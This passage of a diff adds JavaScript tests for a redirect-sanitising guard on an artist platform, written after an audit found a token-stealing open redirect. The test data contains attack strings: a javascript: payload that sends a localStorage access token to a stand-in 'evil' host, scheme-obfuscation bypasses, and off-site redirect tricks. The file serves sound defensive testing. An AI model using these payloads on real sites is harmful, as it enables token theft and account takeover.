* `?redirect=` went straight to `window.location.href` in the platform-owned
|
|
9
|
+
* login/signup templates, so the payload fired after a LEGITIMATE login on the
|
|
10
|
+
* artist's real domain — and the stolen fan token was not profile-scoped, so it
|
|
11
|
+
* worked against every other artist too.
|
|
12
|
+
*
|
|
13
|
+
* The guard is an allowlist (same-origin root-relative path only), so these
|
|
14
|
+
* specs are mostly about proving the allowlist can't be talked around.
|
|
15
|
+
*/
|
|
16
|
+
describe("safeRedirectPath (C13)", () => {
|
|
17
|
+
const FALLBACK = "/i/account";
|
|
18
|
+
|
|
19
|
+
describe("rejects script-executing schemes", () => {
|
|
20
|
+
const PAYLOADS = [
|
|
21
|
+
// The audit's exact payload.
|
|
22
|
+
"javascript:fetch('//evil/'+localStorage.getItem('public-access-token'))",
|
|
23
|
+
"JavaScript:alert(1)",
|
|
24
|
+
"JAVASCRIPT:alert(1)",
|
|
25
|
+
" javascript:alert(1)",
|
|
26
|
+
"data:text/html,<script>alert(1)</script>",
|
|
27
|
+
"vbscript:msgbox(1)",
|
|
28
|
+
"file:///etc/passwd",
|
|
29
|
+
// Control characters browsers strip while parsing the scheme.
|
|
30
|
+
"java\tscript:alert(1)",
|
|
31
|
+
"java\nscript:alert(1)",
|
|
32
|
+
"java\rscript:alert(1)",
|
|
33
|
+
"\u0000javascript:alert(1)",
|
|
34
|
+
"\u0001javascript:alert(1)",
|
|
35
|
+
];
|
|
36
|
+
|
|
37
|
+
it.each(PAYLOADS)("refuses %j", (payload) => {
|
|
38
|
+
expect(safeRedirectPath(payload)).toBe(FALLBACK);
|
|
39
|
+
});
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
describe("rejects off-site targets", () => {
|
|
43
|
+
const PAYLOADS = [
|
|
44
|
+
"https://evil.example",
|
|
45
|
+
"http://evil.example/path",
|
|
46
|
+
"//evil.example",
|
|
47
|
+
"//evil.example/path",
|
|
48
|
+
"/\\evil.example",
|
|
49
|
+
"/\\\\evil.example",
|
|
50
|
+
"\\\\evil.example",
|
|
51
|
+
"evil.example",
|
|
52
|
+
"https://artist.tribenest.co.evil.example",
|
|
53
|
+
];
|
|
54
|
+
|
|
55
|
+
it.each(PAYLOADS)("refuses %j", (payload) => {
|
|
56
|
+
expect(safeRedirectPath(payload)).toBe(FALLBACK);
|
|
57
|
+
});
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
describe("rejects anything that is not a string", () => {
|
|
61
|
+
it.each([undefined, null, 42, {}, [], true])("refuses %j", (value) => {
|
|
62
|
+
expect(safeRedirectPath(value)).toBe(FALLBACK);
|
|
63
|
+
});
|
|
64
|
+
|
|
65
|
+
it("refuses an empty or whitespace-only value", () => {
|
|
66
|
+
expect(safeRedirectPath("")).toBe(FALLBACK);
|
|
67
|
+
expect(safeRedirectPath(" ")).toBe(FALLBACK);
|
|
68
|
+
expect(safeRedirectPath("\t\n")).toBe(FALLBACK);
|
|
69
|
+
});
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
describe("keeps legitimate in-app destinations", () => {
|
|
73
|
+
it.each([
|
|
74
|
+
"/i/account",
|
|
75
|
+
"/i/members",
|
|
76
|
+
"/i/courses/123",
|
|
77
|
+
"/i/checkout?step=2",
|
|
78
|
+
"/i/orders?status=paid&page=3",
|
|
79
|
+
"/i/members#section",
|
|
80
|
+
"/",
|
|
81
|
+
// A path that merely CONTAINS a scheme-looking segment is still a path.
|
|
82
|
+
"/i/redirect?to=https%3A%2F%2Fexample.com",
|
|
83
|
+
])("keeps %j", (path) => {
|
|
84
|
+
expect(safeRedirectPath(path)).toBe(path);
|
|
85
|
+
});
|
|
86
|
+
|
|
87
|
+
it("honours a caller-supplied fallback", () => {
|
|
88
|
+
expect(safeRedirectPath("javascript:alert(1)", "/i/home")).toBe("/i/home");
|
|
89
|
+
expect(safeRedirectPath("/i/real")).toBe("/i/real");
|
|
90
|
+
});
|
|
91
|
+
});
|
|
92
|
+
|
|
93
|
+
it("never returns a value that could execute or leave the origin", () => {
|
|
94
|
+
// Property-style backstop: whatever comes out is either the fallback or a
|
|
95
|
+
// root-relative path, for every input above and a few fuzzed ones.
|
|
96
|
+
const inputs = [
|
|
97
|
+
"javascript:alert(1)",
|
|
98
|
+
"//evil",
|
|
99
|
+
"/ok",
|
|
100
|
+
"/",
|
|
101
|
+
" /ok ",
|
|
102
|
+
" //evil",
|
|
103
|
+
"/\\evil",
|
|
104
|
+
"data:,x",
|
|
105
|
+
"?just=query",
|
|
106
|
+
"#hash",
|
|
107
|
+
];
|
|
108
|
+
for (const input of inputs) {
|
|
109
|
+
const out = safeRedirectPath(input);
|
|
110
|
+
expect(out.startsWith("/")).toBe(true);
|
|
111
|
+
expect(out.startsWith("//")).toBe(false);
|
|
112
|
+
expect(out.startsWith("/\\")).toBe(false);
|
|
113
|
+
expect(out.toLowerCase()).not.toContain("javascript:");
|
|
114
|
+
expect(out.toLowerCase()).not.toContain("data:");
|
|
115
|
+
}
|
|
116
|
+
});
|
|
117
|
+
});
|